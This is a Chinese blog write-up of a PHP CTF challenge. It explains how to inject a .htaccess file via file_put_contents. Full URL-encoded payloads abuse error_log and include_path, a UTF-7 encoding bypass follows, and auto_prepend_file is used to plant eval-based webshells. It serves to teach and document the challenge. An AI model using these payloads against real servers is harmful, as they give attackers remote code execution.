写在最前面
这种题目嘛,代码不算长,代码逻辑刚好也能够看懂,不出所料的对着自己知道的知识瞎测试了下,完全行不通。没办法只对着其他师傅们的WP来解了,把其中一些师傅们省略的零散小知识补全刚好写一篇博客记录下。
正式解题
看了师傅们的WP,共三种,一种预期解和两者非预期解,先分析题目的代码逻辑再来分析解题方法。
代码分析
首先对当前访问的php页面文件(index.php)所在文件夹进行遍历,获取的结果为当前目录中的文件名和文件夹名,接着在结果筛选出文件名,对文件名进行判断,文件名不为"index.php"的文件都会被删除。
包含文件fl3g.php,如果未使用GET方式对参数content和参数filename传值则显示当前PHP文件源码并结束程序。
接收GET方式对参数content传值,并赋值给变量content,对content的值进行检测,如果含有"on","html","type","flag","upload","file"则会结束程序。
接收GET方式对参数filename传值,并赋值给变量filename,并限制filename的值仅能使用小写字符和符号".",如果含有其他字符则会结束程序。
再次对当前目录下文件执行代码刚开始部分相同的筛选删除。
将变量filename作为文件名,变量content拼接上字符串"\nJust one chance"后作为文件内容写入该文件,但对于file_put_contents来说传入的文件名必须存在对应的文件才能写入,不存在对应文件时并不会创建。
一开始看到这,兴高采烈地的写了个一句话,然后访问发现并不会被当成PHP文件解析。随后在对应的源代码配置中发现,设定了只能访问目录下的index.php时PHP引擎才会开启。
所以只能老老实实的使用.htaccess。
预期解
.htaccess中可以配置部分apache指令,这部分指令不需要重启服务端就能生效,利用.htaccess实际上就是利用apache中那些.htaccess有权限配置的指令。
也就是权限为下图中两者的指令。
这里师傅们找到了error_log指令,可以用来写文件。
error_log是依靠出现错误来触发写日志的,所以最好让error_log把所有等级的错误均写成日志,这样方便我们写入,而error_reporting就能设置写日志需要的错误等级。
其中当参数为32767时,表示为所有等级的错误。
那如何控制我们写如的内容呢?显然是通过报错,这里师傅们采用的是修改include函数的默认路径。
在include函数中我们可以直接include("当前目录下文件名")来使用就是因为定义了默认路径为"./"即当前目录,如果把这个值修改为不存在的路径时,include包含这个路径便会报错。
像这样的错误信息便会被写入文件,如果把phpcode换一句话,便能够扩大使用面。
最后我们还需要注意我们写入时,写入的内容会接上"\nJust one chance",在.htaccess中出现不符合的apache语法的字符时会导致错误,这时我们访问在这个错误.htaccess作用范围内的页面均会返回500。
在apache中#代表单行注释符 ,而\代表命令换行,所以我们可以在末尾加上#\,这个时候虽然换行但仍能被注释,效果如下图。
我们可以在.htaccess文件的末尾加上#\,此时再写入文件的这部分是,#\\nJust one chance所以我们现在要写入的一个.htaccess文件,其包含内容如下图所示(error_log和include_path这种所填入的路径是不必用引号包裹的,但由于我们在此处利用时会使用其他正常路径时并不会出现的字符故进而会导致500,所以应该用引号包裹(单引号和双引号都是可行的))。
值得注意的是经过不完全测试发现仅三个目录有增删文件的权限,这三个目录分别是/tmp/、/var/tmp/和/var/www/html/(即我们当前储存PHP代码的文件夹),其他目录由于没有增删文件的权限所以我们error_log也因无法在这些目录下创建日志文件而失效(对于tmp文件夹或许是出于临时储存的需求所以需要的权限较低?并没有找到关于这点相关资料,但看师傅们都选择了/tmp/)。
(其他两个目录同样可行)
此外我们传入的方式是GET方式,在URL中实现传入,所以得把这些内容进行必要URL编码(包括换行,因为.htaccess只能是一行一条命令)后再传入,换行替换为%0d%0a,#替换为%23,?替换为%3f。
处理后完整的payload为:?filename=.htaccess&content=php_value%20include_path%20"./test/<%3fphp%20phpinfo();%3f>"%0d%0aphp_value%20error_log%20"/tmp/fl3g.php"%0d%0aphp_value%20error_reporting%2032767%0d%0a%23\。传入后接着再访问一次(携带与不携带payload均是可行的),此时由于include_path的设定,include函数包含错误便会记录在日志中。
但此时我们的payload并不可直接使用,在写入日志时符号"<"与">"被进行了HTML转义,我们的php代码也就不会被识别。
所以我们需要采用一种绕过方式,这里师傅们采用的是UTF-7编码的方式,先来看下wiki百科对UTF-7编码的解释:UTF-7 - *,*的百科全书 (wikipedia.org)(需要*)。
其编码实际上可以看作是另外一种形式的base64编码,这就意味着对于一个标准的UTF-8编码后字符串,如"+ADs-"在去掉首尾的+和-后可以通过直接的base64解码得到对应字符(虽然由于编码原理会出现多余字符串),但注意反向处理并不会得到UTF-7的编码的。
对于UTF-7编码来说,一个标准得UTF-7编码后字符串应该由+开头由-结尾,实际用于PHP解码时保留开头得+即可保证一个UTF-7编码后字符串被识别,但这部分不知道为何没有在中文wiki中说明,在英文wiki中却能找到相关描述:UTF-7 - Wikipedia。
对于UTF-7编码来说,最方便得编码和解码方式还是利用PHP自带得函数来处理(mb_convert_encoding需要PHP将mbstring库打开后才能使用,否则会提示函数未定义)。
回到符号"<"和">"会被HTML转义的问题上来,我们可以使用其UTF-7编码的格式,同时开启PHP对UTF-7编码的解码,这样就能绕过了。
所以经过UTF-7编码后我们的payload如下所示。
需要注意的是__halt_compiler函数用来终端编译器的执行,如果我们不带上这个函数的话包含我们的日志文件会导致500甚至崩掉(但本地复现却不会有点搞不懂)。
而URL编码处理后payload则是:?filename=.htaccess&content=php_value include_path "/tmp/%2bADw-%3fphp eval($_GET[code]);__halt_compiler();"%0d%0aphp_value error_reporting 32767%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23\
接着我们再访问一次触发include包含的错误路径并记录在日志中,然后我们就需要再写入一个新的.htaccess文件设置让日志中我们的UTF-7编码能够被解码,从而我们PHP代码才能被解析。
zend.multibyte决定是否开启编码的检测和解析,zend.script_encoding决定采用什么编码,所以我们需要写入的第二个.htaccess文件如下。
URL编码后的payload:php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a%23\
接着我们便可以来使用一句话了来读取flag了,需要注意的是题目源码说明会删除当前目录下非index.php的所有文件,所以我们再使用一句话之前必须得传一遍第二个.htaccess文件的内容(.htaccess中的设置会在PHP文件执行之前被加载,所以不用担心删除导致.htaccess在本次访问时不生效)。
非预期解1
在.htaccess中#表示注释符号的意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号"\"换行的功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess,这样就能得到一个可以用在蚁剑上的一句话了。
URL编码后:
php_value auto_prepend_fi/%0d%0ale ".htaccess"%0d%0a#<?php eval($_POST[cmd]);?>/
非预期解2
(这个先暂时空着,和正则匹配的回溯次数有关,暂时还没搞明白)
写在最后
由于博主技术有限,表述水平也不行,如果各位师傅发现了文中的不当之处,欢迎各位师傅斧正与补充。